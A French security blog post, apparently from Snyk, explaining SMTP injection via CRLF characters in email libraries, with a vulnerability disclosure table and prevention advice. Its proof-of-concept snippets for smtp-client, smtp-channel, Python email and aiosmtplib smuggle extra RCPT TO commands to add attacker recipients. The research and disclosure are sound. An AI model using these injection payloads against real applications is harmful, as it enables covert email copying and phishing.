Skip to main content

Éviter l’injection SMTP : introduction à l’analyse en boîte blanche

Écrit par
Headshot of Sam Sanoop

Sam Sanoop

feature smtp injection

15 septembre 2022

0 minutes de lecture

Les vulnérabilités d’injection SMTP sont souvent mal comprises par les développeurs et les professionnels de la sécurité, et passent inaperçues aux outils d’analyse statique. Cet article explique comment des vulnérabilités courantes d’injection SMTP peuvent se trouver dans des bibliothèques et des applications, et vous donne des conseils pour les détecter et les corriger rapidement.

Introduction à SMTP

Le Simple Mail Transfer Protocol (SMTP) est un protocole de messagerie utilisé pour envoyer et recevoir des e-mails. Les clients de messagerie utilisés par les particuliers se servent généralement de SMTP pour envoyer des messages à un serveur de messagerie qui les relaie. Les serveurs SMTP utilisent couramment le protocole TCP sur le port 25 (en texte brut) et le port 587 (pour les communications chiffrées).

Les logiciels et applications modernes utilisent souvent le protocole SMTP dans le cadre d’un parcours utilisateur et envoient des e-mails à la suite d’une action de l’utilisateur. Les e-mails de confirmation d’inscription en sont un exemple : l’adresse e-mail de l’utilisateur est associée à un texte de bienvenue prédéfini, puis le message est relayé à un serveur SMTP qui l’envoie à son compte de messagerie.

Lors d’une session SMTP entre un client et un serveur SMTP, le client peut utiliser plusieurs commandes SMTP. En voici quelques exemples courants :

  • HELO/EHLO - La commande HELO lance la conversation de la session SMTP, par exemple HELO snyk.io.

  • MAIL FROM - La commande MAIL FROM lance un transfert de courrier en indiquant une adresse e-mail source, par exemple MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

  • RCPT TO - La commande RCPT TO indique le destinataire de l’e-mail, par exemple RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

  • DATA - Avec la commande DATA, le client demande au serveur l’autorisation de transférer le contenu du message. Le code de réponse 354 accorde cette autorisation, et le client lance l’envoi du contenu de l’e-mail, ligne par ligne. La transmission DATA peut être terminée avec le caractère .

Voici un exemple de communication SMTP entre un client et un serveur.

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}

Qu’est-ce que l’injection SMTP ?

Une injection SMTP peut se produire lorsqu’un attaquant parvient à injecter des commandes SMTP arbitraires dans une communication SMTP entre un client et un serveur. Cela peut se faire en injectant des caractères CRLF supplémentaires provenant de paramètres contrôlés par l’utilisateur, qui sont intégrés à une commande SMTP sans validation ni assainissement adéquats.

Ces cas se rencontrent souvent dans les applications web qui utilisent des bibliothèques pour envoyer des commandes SMTP ou dont les implémentations internes ne valident pas les paramètres contrôlés par l’utilisateur.

L’impact d’une injection SMTP peut varier selon le contexte de l’application touchée. Parmi les conséquences courantes :

  • Envoyer des copies d’e-mails à un tiers.

  • Modifier le contenu du message envoyé au serveur SMTP.

  • Exploiter l’application touchée par l’injection SMTP comme proxy pour mener des attaques de phishing.

Pour mieux comprendre l’injection SMTP, examinons les exemples suivants.

Scénario 1 d’injection SMTP

Les développeurs utilisent couramment des bibliothèques tierces pour envoyer des e-mails à un serveur SMTP, plutôt que les fonctions SMTP de la bibliothèque standard. smtp-client en est un exemple. smtp-client propose différents champs pour définir le nom d’hôte, l’authentification, le destinataire et les expéditeurs, qui peuvent ensuite être transmis dans un message SMTP.

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

Cependant, imaginons qu’il soit impossible de définir le champ s.rcpt et que seul s.mail soit contrôlé par l’utilisateur. Dans ce cas, les caractères CRLF peuvent servir à insérer une nouvelle commande, par exemple from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Exemple :

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Aucune validation n’ayant été effectuée, le client SMTP traite les caractères CRLF et interprète RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) comme une nouvelle commande SMTP. L’image suivante montre cette commande acceptée par un serveur SMTP.

Journal de débogage SMTP montrant une authentification réussie, les adresses de l’expéditeur et du destinataire, les réponses d’acceptation et la fin des données du message.

Outre smtp-client, Snyk a également découvert que les packages Perl Email MIME et Net::SMTP étaient vulnérables à l’injection SMTP via plusieurs champs. Cette faille a été signalée aux mainteneurs concernés, qui ont intégré des correctifs dans les dernières versions de ces packages.

Scénario 2 d’injection SMTP

Il existe également des bibliothèques de bas niveau dans plusieurs écosystèmes de langages, que les développeurs peuvent utiliser pour communiquer avec un serveur SMTP. smtp-channel en est un exemple.

Avec smtp-channel, les développeurs peuvent choisir de créer des e-mails destinés aux utilisateurs à partir des données qu’ils fournissent, puis de transmettre ces données à smtp-channel sous forme de flux. Dans ce cas, un attaquant peut ajouter des en-têtes et exploiter la session SMTP existante pour falsifier un e-mail. Le code suivant illustre cette faille :

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);

Scénario 3 d’injection SMTP

Les bibliothèques de création d’e-mails utilisées avec des clients SMTP peuvent également être touchées par l’injection SMTP. On peut observer cette faille dans le package Python email, une bibliothèque permettant de gérer les messages électroniques. Ici, il est possible de provoquer une injection SMTP en fournissant des caractères CRLF au champ mail.headerregistry.Address.

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)

L’image suivante montre comment le caractère > ferme la commande RCPT existante et comment un nouvel en-tête cC est injecté à l’aide de \r\n. Celui-ci sera envoyé sous forme d’une nouvelle commande RCPT, comme illustré ci-dessous.

Journal du terminal indiquant l’envoi réussi d’un e-mail de test SMTP avec l’objet « Example Subject », les informations sur l’expéditeur et le destinataire, ainsi que la confirmation de mise en file d’attente du message.

À noter que l’équipe de sécurité Python a corrigé cette vulnérabilité dans les versions 3.X. Cliquez ici pour consulter les notes de version complètes. Les versions 2.X restent toutefois vulnérables.

Scénario 4 d’injection SMTP

Lors de la recherche de vulnérabilités d’injection SMTP, notez que d’autres champs, comme le nom d’hôte et l’adresse source, peuvent également accepter des caractères CRLF et permettre ainsi une injection SMTP.

Dans l’exemple suivant, les champs From et To transmis à aiosmtplib sont assainis. Il reste cependant possible d’injecter du contenu dans source_address et d’insérer une commande SMTP arbitraire. Vous trouverez ci-dessous une preuve de concept (PoC) qui l’illustre :

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

Cela génère la communication SMTP suivante.

Terminal affichant un échange SMTP avec des commandes, des réponses du serveur, une commande MAIL rejetée, puis une réinitialisation et une fermeture réussies.

Autres cas à prendre en compte

Dans certains cas, les bibliothèques de messagerie peuvent également permettre l’exécution de code. La fonction mail() en est un exemple. Si des données fournies par l’utilisateur sont transmises au 5e paramètre de la fonction mail(), un attaquant peut les exploiter pour exécuter du code. Cliquez ici pour consulter un exemple de cette faille.

Les vulnérabilités d’injection SMTP sont souvent confondues avec les vulnérabilités d’injection de courrier électronique. Dans le cas d’une injection de courrier électronique, un attaquant peut détourner une fonctionnalité de messagerie en utilisant une fonction SMTP pour envoyer des e-mails arbitraires et mener des attaques de phishing. En revanche, une injection SMTP consiste à utiliser des caractères CRLF pour injecter des en-têtes arbitraires, qui peuvent ensuite servir à falsifier des e-mails et à mener des attaques de phishing.

Prévenir l’injection SMTP

L’injection SMTP est une vulnérabilité souvent négligée par les développeurs et les mainteneurs de bibliothèques open source. Dans la plupart des cas, la correction incombe aux mainteneurs des bibliothèques. De nombreuses bibliothèques réputées, comme JavaMail, PHPMailer et RubyMail, empêchent déjà l’injection SMTP en assainissant les caractères CRLF. Pour les bibliothèques de bas niveau comme smtp-channel, il appartient au développeur qui les utilise de valider et d’assainir les données fournies par l’utilisateur.

Pour contribuer à la sécurité de la communauté open source, l’équipe Snyk Security a également signalé des vulnérabilités d’injection SMTP dans les bibliothèques suivantes.

Bibliothèque

Langage

Version corrigée

SMTPMail-drogon

C

Corrigé dans Master

Email::MIME

Perl

Aucun correctif disponible

Net::SMTP

Perl

Aucun correctif disponible

aiosmtplib

Python

Corrigé dans la version 1.1.7

smtpclient

NodeJS

Aucun correctif disponible

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis de capture du drapeau en regardant à la demande notre atelier virtuel d’initiation.